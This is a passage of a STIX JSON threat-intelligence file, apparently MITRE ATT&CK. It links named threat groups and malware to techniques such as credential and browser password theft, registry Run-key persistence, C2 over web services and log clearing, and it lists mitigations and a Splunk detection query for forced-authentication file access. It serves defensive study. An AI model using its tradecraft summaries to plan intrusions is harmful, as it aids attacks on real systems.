2018"}],"modified":"2020-03-17T14:29:24.880Z","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) sent victims a lure document with a warning that asked victims to “enable content” for execution.(Citation: Symantec Gallmaker Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--255347ba-c359-4a79-af44-089a502c6e9b","type":"relationship","created":"2021-04-08T18:09:43.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-08T18:09:43.247Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has searched for private keys.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25557d9f-bfa0-4da7-8352-ab56b82b475b","type":"relationship","created":"2019-02-21T21:17:37.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.490Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has modified LNK shortcuts.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--255eb82c-19d3-43bd-a13c-e7c54413bfd6","created":"2024-01-22T18:36:13.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T17:28:37.080Z","description":"[LoFiSe](https://attack.mitre.org/software/S1101) can collect files into password-protected ZIP-archives for exfiltration.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25609fb5-4f73-47ba-882e-56a421b7b566","type":"relationship","created":"2020-08-26T15:20:09.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-26T15:20:09.606Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can delete specific files from a compromised host.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25623cee-b8bc-4937-9a93-749549e69a83","created":"2023-09-12T18:54:17.705Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T18:54:17.705Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used tools to search victim systems for security products such as antivirus and firewall software.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2567c45f-d2f9-4abd-9479-2877669e50be","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor executed commands and arguments that may stop or disable services on a system to render those services unavailable to legitimate users.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2568247e-c8f6-4f6f-ae88-9dc4430df290","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:32:09.457Z","description":"Monitor for access to files that may indicate attempts to coerce a user into providing authentication information.\n\nAnalytic 1 - Suspicious access to files known to be used for forced authentication attacks.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\path\\\\to\\\\suspicious\\\\file*\" | where match(ObjectName, \"(?i)\\\\(.*\\\\.)?(lnk|scf|url|doc|dot|xls|ppt|pdf|scf|html)$\")","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--256ce066-f81e-4cc4-bd5e-d83f7881f109","type":"relationship","created":"2020-03-09T14:07:54.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/","description":"Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.","source_name":"applescript signing"}],"modified":"2020-08-03T21:40:52.134Z","description":"Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.(Citation: applescript signing) This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--256edc9a-e5fa-48fc-b398-eb0873d46e78","created":"2021-07-26T14:56:10.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.427Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has the ability to set persistence using the Task Scheduler.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2589342a-8f88-4458-bc34-cec6b073763e","type":"relationship","created":"2019-03-11T19:24:08.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.574Z","description":"[Empire](https://attack.mitre.org/software/S0363) can perform port scans from an infected host.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2597e12c-c342-4ca0-a235-b05752b2bfa5","type":"relationship","created":"2020-06-29T15:53:14.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-29T15:56:13.237Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to identify folders and files related to previous infections.(Citation: Unit 42 BackConfig May 2020)\t","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky OilRig Jan 2017","description":"ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.","url":"http://www.clearskysec.com/oilrig/"}],"modified":"2020-03-16T16:55:39.531Z","description":"[Helminth](https://attack.mitre.org/software/S0170) samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.(Citation: ClearSky OilRig Jan 2017)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--259b878f-147e-443b-8360-aabc00cf6d73","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ZScaler Hacking Team","description":"Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.","url":"http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"},{"source_name":"ThreatStream Evasion Analysis","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"}],"modified":"2020-03-16T16:56:45.646Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) has established persistence by setting the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key value for wdm to the path of the executable. It has also used the Registry entry HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn “%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe” to establish persistence.(Citation: ZScaler Hacking Team)(Citation: ThreatStream Evasion Analysis)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25a6e5a0-28a7-40a4-baa8-7a9c688f3eb4","type":"relationship","created":"2019-12-19T21:05:38.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf","description":"Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.","source_name":"TCG Trusted Platform Module"},{"url":"https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process","description":"Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.","source_name":"TechNet Secure Boot Process"}],"modified":"2020-09-17T19:47:14.495Z","description":"Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25a84607-970c-474e-83bc-143e2ccbb64b","type":"relationship","created":"2019-06-20T15:39:37.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T18:13:18.648Z","description":"Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25a8672d-3d99-456b-a8c6-2ea5f3a5a688","type":"relationship","created":"2021-02-23T20:50:33.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.424Z","description":"[Conficker](https://attack.mitre.org/software/S0608) copies itself into the %systemroot%\\system32 directory and registers as a service.(Citation: SANS Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--25a92f58-75d6-46a5-8e82-7f576f9659a5","created":"2021-12-27T19:19:42.875Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Warzone UAC Bypass November 2020","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has the capability to grab passwords from numerous web browsers as well as from Outlook and Thunderbird email clients.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)","modified":"2022-04-07T15:26:34.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.671Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims’ machines.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25b092ce-9293-4458-95f3-53153a0993dc","created":"2024-09-05T22:36:50.497Z","revoked":false,"external_references":[{"source_name":"Trendmicro_IcedID","description":"Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:36:50.497Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has cloned legitimate websites/applications to distribute the malware.(Citation: Trendmicro_IcedID)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25b8605b-9ab2-418f-b92b-abb2be815b90","created":"2023-03-02T19:02:49.552Z","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T19:02:49.552Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can broadcasts NetBIOS Name Service (NBNC) messages to search for servers connected to compromised networks.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25b8811b-3e73-40c7-b1fc-132eeb5a6f5e","created":"2023-03-29T15:57:37.642Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:57:37.642Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can collect the username from a compromised host.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25b8b66a-a9d0-4400-8b41-dd12208a25de","created":"2020-06-19T19:08:40.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.727Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to base64 encode and XOR encrypt strings.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25bfb4d8-c401-4064-9ee4-24091cb86ba6","type":"relationship","created":"2020-08-13T14:58:25.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.173Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can monitor the titles of open windows to identify specific keywords.(Citation: Secureworks Karagany July 2019)\t ","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25c038d5-7cba-4416-ac10-f1c893942042","created":"2024-03-07T19:34:03.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T23:16:27.586Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors cleared logs to remove traces of their activity and restored compromised systems to a clean state to bypass manufacturer mitigations for CVE-2023-46805 and CVE-2024-21887.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25ca7826-9f46-45e4-97e8-c942f9a2611d","type":"relationship","created":"2020-02-04T12:55:04.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T12:55:04.101Z","relationship_type":"revoked-by","source_ref":"attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-17T01:45:11.413Z","description":"[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the [LOWBALL](https://attack.mitre.org/software/S0042) malware.(Citation: FireEye 